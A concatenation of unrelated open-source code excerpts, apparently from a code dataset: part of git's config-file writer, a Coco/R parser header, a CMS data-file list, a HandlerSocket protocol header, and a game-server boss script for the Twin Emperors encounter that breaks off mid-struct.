copy_end - copy_begin)
goto write_err_out;
if (new_line &&
write_str_in_full(fd, "\n") != 1)
goto write_err_out;
}
copy_begin = store.offset[i];
}
/* write the pair (value == NULL means unset) */
if (value != NULL) {
if (store.state == START) {
if (!store_write_section(fd, key))
goto write_err_out;
}
if (!store_write_pair(fd, key, value))
goto write_err_out;
}
/* write the rest of the config */
if (copy_begin < contents_sz)
if (write_in_full(fd, contents + copy_begin,
contents_sz - copy_begin) <
contents_sz - copy_begin)
goto write_err_out;
munmap(contents, contents_sz);
}
if (commit_lock_file(lock) < 0) {
error("could not commit config file %s", config_filename);
ret = CONFIG_NO_WRITE;
goto out_free;
}
/*
* lock is committed, so don't try to roll it back below.
* NOTE: Since lockfile.c keeps a linked list of all created
* lock_file structures, it isn't safe to free(lock). It's
* better to just leave it hanging around.
*/
lock = NULL;
ret = 0;
out_free:
if (lock)
rollback_lock_file(lock);
free(filename_buf);
return ret;
write_err_out:
ret = write_error(lock->filename);
goto out_free;
}
int git_config_set_multivar(const char *key, const char *value,
const char *value_regex, int multi_replace)
{
return git_config_set_multivar_in_file(NULL, key, value, value_regex,
multi_replace);
}
static int section_name_match (const char *buf, const char *name)
{
int i = 0, j = 0, dot = 0;
if (buf[i] != '[')
return 0;
for (i = 1; buf[i] && buf[i] != ']'; i++) {
if (!dot && isspace(buf[i])) {
dot = 1;
if (name[j++] != '.')
break;
for (i++; isspace(buf[i]); i++)
; /* do nothing */
if (buf[i] != '"')
break;
continue;
}
if (buf[i] == '\\' && dot)
i++;
else if (buf[i] == '"' && dot) {
for (i++; isspace(buf[i]); i++)
; /* do_nothing */
break;
}
if (buf[i] != name[j++])
break;
}
if (buf[i] == ']' && name[j] == 0) {
/*
* We match, now just find the right length offset by
* gobbling up any whitespace after it, as well
*/
i++;
for (; buf[i] && isspace(buf[i]); i++)
; /* do nothing */
return i;
}
return 0;
}
static int section_name_is_ok(const char *name)
{
/* Empty section names are bogus. */
if (!*name)
return 0;
/*
* Before a dot, we must be alphanumeric or dash. After the first dot,
* anything goes, so we can stop checking.
*/
for (; *name && *name != '.'; name++)
if (*name != '-' && !isalnum(*name))
return 0;
return 1;
}
/* if new_name == NULL, the section is removed instead */
int git_config_rename_section_in_file(const char *config_filename,
const char *old_name, const char *new_name)
{
int ret = 0, remove = 0;
char *filename_buf = NULL;
struct lock_file *lock;
int out_fd;
char buf[1024];
FILE *config_file;
if (new_name && !section_name_is_ok(new_name)) {
ret = error("invalid section name: %s", new_name);
goto out;
}
if (!config_filename)
config_filename = filename_buf = git_pathdup("config");
lock = xcalloc(sizeof(struct lock_file), 1);
out_fd = hold_lock_file_for_update(lock, config_filename, 0);
if (out_fd < 0) {
ret = error("could not lock config file %s", config_filename);
goto out;
}
if (!(config_file = fopen(config_filename, "rb"))) {
/* no config file means nothing to rename, no error */
goto unlock_and_out;
}
while (fgets(buf, sizeof(buf), config_file)) {
int i;
int length;
char *output = buf;
for (i = 0; buf[i] && isspace(buf[i]); i++)
; /* do nothing */
if (buf[i] == '[') {
/* it's a section */
int offset = section_name_match(&buf[i], old_name);
if (offset > 0) {
ret++;
if (new_name == NULL) {
remove = 1;
continue;
}
store.baselen = strlen(new_name);
if (!store_write_section(out_fd, new_name)) {
ret = write_error(lock->filename);
goto out;
}
/*
* We wrote out the new section, with
* a newline, now skip the old
* section's length
*/
output += offset + i;
if (strlen(output) > 0) {
/*
* More content means there's
* a declaration to put on the
* next line; indent with a
* tab
*/
output -= 1;
output[0] = '\t';
}
}
remove = 0;
}
if (remove)
continue;
length = strlen(output);
if (write_in_full(out_fd, output, length) != length) {
ret = write_error(lock->filename);
goto out;
}
}
fclose(config_file);
unlock_and_out:
if (commit_lock_file(lock) < 0)
ret = error("could not commit config file %s", config_filename);
out:
free(filename_buf);
return ret;
}
int git_config_rename_section(const char *old_name, const char *new_name)
{
return git_config_rename_section_in_file(NULL, old_name, new_name);
}
/*
* Call this to report error for your variable that should not
* get a boolean value (i.e. "[my] var" means "true").
*/
#undef config_error_nonbool
int config_error_nonbool(const char *var)
{
return error("Missing value for '%s'", var);
}
int parse_config_key(const char *var,
const char *section,
const char **subsection, int *subsection_len,
const char **key)
{
int section_len = strlen(section);
const char *dot;
/* Does it start with "section." ? */
if (prefixcmp(var, section) || var[section_len] != '.')
return -1;
/*
* Find the key; we don't know yet if we have a subsection, but we must
* parse backwards from the end, since the subsection may have dots in
* it, too.
*/
dot = strrchr(var, '.');
*key = dot + 1;
/* Did we have a subsection at all? */
if (dot == var + section_len) {
*subsection = NULL;
*subsection_len = 0;
}
else {
*subsection = var + section_len + 1;
*subsection_len = dot - *subsection;
}
return 0;
}
| Java |
/*---- license ----*/
/*-------------------------------------------------------------------------
Coco.ATG -- Attributed Grammar
Compiler Generator Coco/R,
Copyright (c) 1990, 2004 Hanspeter Moessenboeck, University of Linz
extended by M. Loeberbauer & A. Woess, Univ. of Linz
with improvements by Pat Terry, Rhodes University.
ported to C by Charles Wang <charlesw123456@gmail.com>
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
As an exception, it is allowed to write an extension of Coco/R that is
used as a plugin in non-free software.
If not otherwise stated, any source code generated by Coco/R (other than
Coco/R itself) does not fall under the GNU General Public License.
-------------------------------------------------------------------------*/
/*---- enable ----*/
#ifndef COCO_CcsXmlParser_H
#define COCO_CcsXmlParser_H
#ifndef COCO_ERRORPOOL_H
#include "c/ErrorPool.h"
#endif
#ifndef COCO_CcsXmlScanner_H
#include "Scanner.h"
#endif
/*---- hIncludes ----*/
#ifndef COCO_GLOBALS_H
#include "Globals.h"
#endif
/*---- enable ----*/
EXTC_BEGIN
/*---- SynDefines ----*/
#define CcsXmlParser_WEAK_USED
/*---- enable ----*/
typedef struct CcsXmlParser_s CcsXmlParser_t;
struct CcsXmlParser_s {
CcsErrorPool_t errpool;
CcsXmlScanner_t scanner;
CcsToken_t * t;
CcsToken_t * la;
int maxT;
/*---- members ----*/
CcGlobals_t globals;
/* Shortcut pointers */
CcSymbolTable_t * symtab;
CcXmlSpecMap_t * xmlspecmap;
CcSyntax_t * syntax;
/*---- enable ----*/
};
CcsXmlParser_t * CcsXmlParser(CcsXmlParser_t * self, FILE * infp, FILE * errfp);
CcsXmlParser_t *
CcsXmlParser_ByName(CcsXmlParser_t * self, const char * infn, FILE * errfp);
void CcsXmlParser_Destruct(CcsXmlParser_t * self);
void CcsXmlParser_Parse(CcsXmlParser_t * self);
void CcsXmlParser_SemErr(CcsXmlParser_t * self, const CcsToken_t * token,
const char * format, ...);
void CcsXmlParser_SemErrT(CcsXmlParser_t * self, const char * format, ...);
EXTC_END
#endif /* COCO_PARSER_H */
| Java |
import FWCore.ParameterSet.Config as cms
maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )
readFiles = cms.untracked.vstring()
secFiles = cms.untracked.vstring()
source = cms.Source ("PoolSource",fileNames = readFiles, secondaryFileNames = secFiles)
readFiles.extend( [
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/0A2744F9-FA05-E411-BD0C-00259073E36C.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/0E936434-FD05-E411-81BF-F4CE46B27A1A.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/32E07232-FD05-E411-897C-00259073E522.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/3CE2B535-FB05-E411-919A-20CF307C98DC.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/48093276-FC05-E411-9EEE-001F296564C6.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/50B66FF3-FA05-E411-A937-001F296564C6.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/544B2DF7-FA05-E411-B91F-001F2965F296.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/54DB2FF7-FE05-E411-824B-00259073E522.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/56D1BC32-FD05-E411-A512-20CF3027A5EB.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/5AD70432-FC05-E411-906C-20CF3027A5CD.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/5C4FBFF4-FA05-E411-9767-00259073E36C.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/5CF748F8-FC05-E411-814B-20CF3027A5A2.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/7806E24D-FC05-E411-8922-001F2965F296.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/7C16B231-FD05-E411-8E00-20CF3027A5EB.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/802452C1-FC05-E411-A969-00221983E092.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/8217E3BD-FC05-E411-B8C2-0025907277CE.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/8676BEF4-FA05-E411-B26A-00259073E36C.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/8C1741F3-FA05-E411-B5B5-20CF3027A582.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/8C915AB8-FC05-E411-9EAF-F4CE46B27A1A.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/AA0FCBB0-FC05-E411-898D-00259073E36C.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/B49383BA-FC05-E411-9914-F4CE46B27A1A.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/B6DAEFDD-FB05-E411-9851-20CF3027A5CD.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/C6F5C44F-FD05-E411-B86F-D48564592B02.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/C83B6B6C-FC05-E411-BAFD-D48564599CAA.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/CEF64C64-FD05-E411-A799-001F2965648A.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/D6C305FC-FA05-E411-9AF5-00259073E522.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/DE0FC6A4-FC05-E411-A2F9-00259073E36C.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/E2D5AD33-FD05-E411-868A-D48564594F36.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/E63BCC43-FB05-E411-834E-D48564599CEE.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/EAD01F32-FD05-E411-91E4-20CF3027A5F4.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/F0A18D25-FC05-E411-8DFC-20CF3027A582.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/F0B8E6B6-FA05-E411-9DAE-20CF3027A5CD.root',
'/store/mc/Spring14miniaod/QCD_Pt-80to120_MuEnrichedPt5_Tune4C_13TeV_pythia8/MINIAODSIM/PU20bx25_POSTLS170_V5-v1/00000/F23A21C3-FD05-E411-9E29-A4BADB3D00FF.root' ] );
secFiles.extend( [
] )
| Java |
#ifndef BZS_DB_PROTOCOL_HS_HSCOMMANDEXECUTER_H
#define BZS_DB_PROTOCOL_HS_HSCOMMANDEXECUTER_H
/*=================================================================
Copyright (C) 2013 BizStation Corp All rights reserved.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
=================================================================*/
#include <bzs/db/engine/mysql/dbManager.h>
#include <bzs/db/protocol/ICommandExecuter.h>
#include <bzs/env/crosscompile.h>
namespace bzs
{
namespace db
{
namespace protocol
{
namespace hs
{
#define HS_OP_READ 'R'
#define HS_OP_OPEN 'P'
#define HS_OP_AUTH 'A'
#define HS_OP_INSERT '+'
#define HS_OP_DELETE 'D'
#define HS_OP_UPDATE 'U'
#define HS_OP_UPDATE_INC '+' + 0xff
#define HS_OP_UPDATE_DEC '-'
#define HS_OP_QUIT 'Q'
#define HS_LG_EQUAL '='
#define HS_LG_GREATER '>'
#define HS_LG_LESS '<'
#define HS_LG_NOTEQUAL '<' + 0xfe //<>
#define HS_LG_GREATEROREQUAL '>' + 0xff //>=
#define HS_LG_LESSOREQUAL '<' + 0xff //<=
#define DEBNAME_SIZE 64
#define TABELNAME_SIZE 64
#define INDEXNAME_SIZE 64
#define HS_OP_RESULTBUFSIZE 64000
//-----------------------------------------------------------------------
// result buffer
//-----------------------------------------------------------------------
class resultBuffer
{
char* m_ptr;
char* m_cur;
public:
resultBuffer(char* ptr) : m_ptr(ptr), m_cur(m_ptr) {}
void append(const char* ptr, size_t size)
{
const char* p = ptr;
const char* end = ptr + size;
for (; p < end; ++p)
{
if ((*p >= 0x00) && (*p <= 0x10))
{
*m_cur = 0x01;
*(++m_cur) = *p + 0x40;
}
else
*m_cur = *p;
++m_cur;
}
}
void append(const char* ptr)
{
const char* p = ptr;
while (*p)
{
*m_cur = *p;
++p;
++m_cur;
}
}
void append(int v)
{
char tmp[50];
sprintf_s(tmp, 50, "%d", v);
append(tmp);
}
size_t size()
{
*m_ptr = 0x00;
return m_cur - m_ptr;
}
const char* c_str() { return m_ptr; }
};
//-----------------------------------------------------------------------
// request
//-----------------------------------------------------------------------
struct request
{
short op;
int handle;
struct result
{
result() : limit(1), offset(0), returnBeforeValue(0){};
int limit;
int offset;
bool returnBeforeValue;
} result;
struct db
{
char name[DEBNAME_SIZE];
} db;
struct table
{
table() : openMode(0) {}
char name[TABELNAME_SIZE];
short openMode;
struct key
{
key() : logical(0){};
char name[INDEXNAME_SIZE];
std::vector<std::string> values;
short logical;
} key;
std::string fields;
std::vector<std::string> values;
struct in
{
in() : keypart(0) {}
uint keypart;
std::vector<std::string> values;
} in;
struct filter
{
filter() : type(0), logical(0), col(0) {}
char type;
short logical;
short col;
std::string value;
};
typedef std::vector<filter> filters_type;
filters_type filters;
} table;
request() : op(HS_OP_READ), handle(0) {}
ha_rkey_function seekFlag();
bool naviForward();
bool naviSame();
};
//-----------------------------------------------------------------------
// class dbExecuter
//-----------------------------------------------------------------------
/** Current, no support auth command .
*/
typedef int (*changeFunc)(request& req, engine::mysql::table* tb, int type);
class dbExecuter : public engine::mysql::dbManager
{
void doRecordOperation(request& req, engine::mysql::table* tb,
resultBuffer& buf, changeFunc func);
inline int readAfter(request& req, engine::mysql::table* tb,
resultBuffer& buf, changeFunc func);
public:
dbExecuter(netsvc::server::IAppModule* mod);
int commandExec(std::vector<request>& requests,
netsvc::server::netWriter* nw);
int errorCode(int ha_error) { return 0; };
};
//-----------------------------------------------------------------------
// class commandExecuter
//-----------------------------------------------------------------------
class commandExecuter : public ICommandExecuter,
public engine::mysql::igetDatabases
{
boost::shared_ptr<dbExecuter> m_dbExec;
mutable std::vector<request> m_requests;
public:
commandExecuter(netsvc::server::IAppModule* mod);
~commandExecuter();
size_t perseRequestEnd(const char* p, size_t size, bool& comp) const;
size_t getAcceptMessage(char* message, size_t size) { return 0; };
bool parse(const char* p, size_t size);
int execute(netsvc::server::netWriter* nw)
{
return m_dbExec->commandExec(m_requests, nw);
}
void cleanup(){};
bool isShutDown() { return m_dbExec->isShutDown(); }
const engine::mysql::databases& dbs() const { return m_dbExec->dbs(); }
boost::mutex& mutex() { return m_dbExec->mutex(); }
};
} // namespace hs
} // namespace protocol
} // namespace db
} // namespace bzs
#endif // BZS_DB_PROTOCOL_HS_HSCOMMANDEXECUTER_H
| Java |
/*
* Copyright (C) 2014-2017 StormCore
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Boss_Twinemperors
SD%Complete: 95
SDComment:
SDCategory: Temple of Ahn'Qiraj
EndScriptData */
#include "ScriptMgr.h"
#include "ScriptedCreature.h"
#include "temple_of_ahnqiraj.h"
#include "WorldPacket.h"
#include "Item.h"
#include "Spell.h"
enum Spells
{
SPELL_HEAL_BROTHER = 7393,
SPELL_TWIN_TELEPORT = 800, // CTRA watches for this spell to start its teleport timer
SPELL_TWIN_TELEPORT_VISUAL = 26638, // visual
SPELL_EXPLODEBUG = 804,
SPELL_MUTATE_BUG = 802,
SPELL_BERSERK = 26662,
SPELL_UPPERCUT = 26007,
SPELL_UNBALANCING_STRIKE = 26613,
SPELL_SHADOWBOLT = 26006,
SPELL_BLIZZARD = 26607,
SPELL_ARCANEBURST = 568,
};
enum Sound
{
SOUND_VL_AGGRO = 8657, //8657 - Aggro - To Late
SOUND_VL_KILL = 8658, //8658 - Kill - You will not
SOUND_VL_DEATH = 8659, //8659 - Death
SOUND_VN_DEATH = 8660, //8660 - Death - Feel
SOUND_VN_AGGRO = 8661, //8661 - Aggro - Let none
SOUND_VN_KILL = 8662, //8661 - Kill - your fate
};
enum Misc
{
PULL_RANGE = 50,
ABUSE_BUG_RANGE = 20,
VEKLOR_DIST = 20, // VL will not come to melee when attacking
TELEPORTTIME = 30000
};
struct boss_twinemperorsAI : public ScriptedAI
{
boss_twinemperorsAI(Creature* creature): ScriptedAI(creature)
{
Initialize();
instance = creature->GetInstanceScript();
}
void Initialize()
{
Heal_Timer = 0; // first heal immediately when they get close together
Teleport_Timer = TELEPORTTIME;
AfterTeleport = false;
tspellcast = false;
AfterTeleportTimer = 0;
Abuse_Bug_Timer = urand(10000, 17000);
BugsTimer = 2000;
DontYellWhenDead = false;
EnrageTimer = 15 * 60000;
}
InstanceScript* instance;
uint32 Heal_Timer;
uint32 Teleport_Timer;
bool AfterTeleport;
uint32 AfterTeleportTimer;
bool DontYellWhenDead;
uint32 Abuse_Bug_Timer, BugsTimer;
bool tspellcast;
uint32 EnrageTimer;
virtual bool IAmVeklor() = 0;
virtual void Reset() override = 0;
virtual void CastSpellOnBug(Creature* target) = 0;
void TwinReset()
{
Initialize();
me->ClearUnitState(UNIT_STATE_STUNNED);
}
Creature* GetOtherBoss()
{
return ObjectAccessor::GetCreature(*me, instance->GetGuidData(IAmVeklor() ? DATA_VEKNILASH : DATA_VEKLOR));
}
void DamageTaken(Unit* /*done_by*/, uint32 &damage) override
{
Unit* pOtherBoss = GetOtherBoss();
if (pOtherBoss)
{
float dPercent = ((float)damage) / ((float)me->GetMaxHealth());
int odmg = (int)(dPercent * ((float)pOtherBoss->GetMaxHealth()));
int ohealth = pOtherBoss->GetHealth()-odmg;
pOtherBoss->SetHealth(ohealth > 0 ? ohealth : 0);
if (ohealth <= 0)
{
pOtherBoss->setDeathState(JUST_DIED);
pOtherBoss->SetFlag(OBJECT_DYNAMIC_FLAGS, UNIT_DYNFLAG_LOOTABLE);
}
}
}
void JustDied(Unit* /*killer*/) override
{
Creature* pOtherBoss = GetOtherBoss();
if (pOtherBoss)
{
pOtherBoss->SetHealth(0);
pOtherBoss->setDeathState(JUST_DIED);
pOtherBoss->SetFlag(OBJECT_DYNAMIC_FLAGS, UNIT_DYNFLAG_LOOTABLE);
ENSURE_AI(boss_twinemperorsAI, pOtherBoss->AI())->DontYellWhenDead = true;
}
if (!DontYellWhenDead) // I hope AI is not threaded
DoPlaySoundToSet(me, IAmVeklor() ? SOUND_VL_DEATH : SOUND_VN_DEATH);
}
void KilledUnit(Unit* /*victim*/) override
{
DoPlaySoundToSet(me, IAmVeklor() ? SOUND_VL_KILL : SOUND_VN_KILL);
}
void EnterCombat(Unit* who) override
{
DoZoneInCombat();
Creature* pOtherBoss = GetOtherBoss();
if (pOtherBoss)
{
/// @todo we should activate the other boss location so he can start attackning even if nobody
// is near I dont know how to do that
if (!pOtherBoss->IsInCombat())
{
ScriptedAI* otherAI = ENSURE_AI(ScriptedAI, pOtherBoss->AI());
DoPlaySoundToSet(me, IAmVeklor() ? SOUND_VL_AGGRO : SOUND_VN_AGGRO);
otherAI->AttackStart(who);
otherAI->DoZoneInCombat();
}
}
}
void SpellHit(Unit* caster, const SpellInfo* entry) override
{
if (caster == me)
return;
Creature* pOtherBoss = GetOtherBoss();
if (entry->Id != SPELL_HEAL_BROTHER || !pOtherBoss)
return;
// add health so we keep same percentage for both brothers
uint32 mytotal = me->GetMaxHealth(), histotal = pOtherBoss->GetMaxHealth();
float mult = ((float)mytotal) / ((float)histotal);
if (mult < 1)
mult = 1.0f/mult;
#define HEAL_BROTHER_AMOUNT 30000.0f
uint32 largerAmount = (uint32)((HEAL_BROTHER_AMOUNT * mult) - HEAL_BROTHER_AMOUNT);
if (mytotal > histotal)
{
uint32 h = me->GetHealth()+largerAmount;
me->SetHealth(std::min(mytotal, h));
}
else
{
uint32 h = pOtherBoss->GetHealth()+largerAmount;
pOtherBoss->SetHealth(std::min(histotal, h));
}
}
void TryHealBrother(uint32 diff)
{
if (IAmVeklor()) // this spell heals caster and the other brother so let VN cast it
return;
if (Heal_Timer <= diff)
{
Unit* pOtherBoss = GetOtherBoss();
if (pOtherBoss && pOtherBoss->IsWithinDist(me, 60))
{
DoCast(pOtherBoss, SPELL_HEAL_BROTHER);
Heal_Timer = 1000;
}
} else Heal_Timer -= diff;
}
void TeleportToMyBrother()
{
Teleport_Timer = TELEPORTTIME;
if (IAmVeklor())
return; // mechanics handled by veknilash so they teleport exactly at the same time and to correct coordinates
Creature* pOtherBoss = GetOtherBoss();
if (pOtherBoss)
{
//me->MonsterYell("Teleporting ...", LANG_UNIVERSAL, 0);
Position thisPos;
thisPos.Relocate(me);
Position otherPos;
otherPos.Relocate(pOtherBoss);
pOtherBoss->SetPosition(thisPos);
me->SetPosition(otherPos);
SetAfterTeleport();
ENSURE_AI(boss_twinemperorsAI, pOtherBoss->AI())->SetAfterTeleport();
}
}
void SetAfterTeleport()
{
me->InterruptNonMeleeSpells(false);
DoStopAttack();
DoResetThreat();
DoCast(me, SPELL_TWIN_TELEPORT_VISUAL);
me->AddUnitState(UNIT_STATE_STUNNED);
AfterTeleport = true;
AfterTeleportTimer = 2000;
tspellcast = false;
}
bool TryActivateAfterTTelep(uint32 diff)
{
if (AfterTeleport)
{
if (!tspellcast)
{
me->ClearUnitState(UNIT_STATE_STUNNED);
DoCast(me, SPELL_TWIN_TELEPORT);
me->AddUnitState(UNIT_STATE_STUNNED);
}
tspellcast = true;
if (AfterTeleportTimer <= diff)
{
AfterTeleport = false;
me->ClearUnitState(UNIT_STATE_STUNNED);
if (Unit* nearu = me->SelectNearestTarget(100))
{
//DoYell(nearu->GetName(), LANG_UNIVERSAL, 0);
AttackStart(nearu);
me->AddThreat(nearu, 10000);
}
return true;
}
else
{
AfterTeleportTimer -= diff;
// update important timers which would otherwise get skipped
if (EnrageTimer > diff)
EnrageTimer -= diff;
else
EnrageTimer = 0;
if (Teleport_Timer > diff)
Teleport_Timer -= diff;
else
Teleport_Timer = 0;
return false;
}
}
else
{
return true;
}
}
void MoveInLineOfSight(Unit* who) override
{
if (!who || me->GetVictim())
return;
if (me->CanCreatureAttack(who))
{
float attackRadius = me->GetAttackDistance(who);
if (attackRadius < PULL_RANGE)
attackRadius = PULL_RANGE;
if (me->IsWithinDistInMap(who, attackRadius) && me->GetDistanceZ(who) <= /*CREATURE_Z_ATTACK_RANGE*/7 /*there are stairs*/)
{
//if (who->HasStealthAura())
// who->RemoveSpellsCausingAura(SPELL_AURA_MOD_STEALTH);
AttackStart(who);
}
}
}
Creature* RespawnNearbyBugsAndGetOne()
{
std::list<Creature*> lUnitList;
me->GetCreatureListWithEntryInGrid(lUnitList, 15316, 150.0f);
me->GetCreatureListWithEntryInGrid(lUnitList, 15317, 150.0f);
if (lUnitList.empty())
return NULL;
Creature* nearb = NULL;
for (std::list<Creature*>::const_iterator iter = lUnitList.begin(); iter != lUnitList.end(); ++iter)
{
Creature* c = *iter;
if (c)
{
if (c->isDead())
{
c->Respawn();
c->setFaction(7);
c->RemoveAllAuras();
}
if (c->IsWithinDistInMap(me, ABUSE_BUG_RANGE))
{
if (!nearb || (rand32() % 4) == 0)
nearb = c;
}
}
}
return nearb;
}
void HandleBugs(uint32 diff)
{
if (BugsTimer < diff || Abuse_Bug_Timer <= diff)
{
Creature* c = RespawnNearbyBugsAndGetOne();
if (Abuse_Bug_Timer <= diff)
{
if (c)
{
CastSpellOnBug(c);
Abuse_Bug_Timer = urand(10000, 17000);
}
else
{
Abuse_Bug_Timer = 1000;
}
}
else
{
Abuse_Bug_Timer -= diff;
}
BugsTimer = 2000;
}
else
{
BugsTimer -= diff;
Abuse_Bug_Timer -= diff;
}
}
void CheckEnrage(uint32 diff)
{
if (EnrageTimer <= diff)
{
if (!me->IsNonMeleeSpellCast(true))
{
DoCast(me, SPELL_BERSERK);
EnrageTimer = 60*60000;
} else EnrageTimer = 0;
} else EnrageTimer-=diff;
}
};
class boss_veknilash : public CreatureScript
{
public:
boss_veknilash() : CreatureScript("boss_veknilash") { }
CreatureAI* GetAI(Creature* creature) const override
{
return GetInstanceAI<boss_veknilashAI>(creature);
}
struct boss_veknilashAI : public boss_twinemperorsAI
{
bool IAmVeklor() override {return false;}
boss_veknilashAI(Creature* creature) : boss_twinemperorsAI(creature)
{
Initialize();
}
void Initialize()
{
UpperCut_Timer = urand(14000, 29000);
UnbalancingStrike_Timer = urand(8000, 18000);
Scarabs_Timer = urand(7000, 14000);
}
uint32 UpperCut_Timer;
uint32 UnbalancingStrike_Timer;
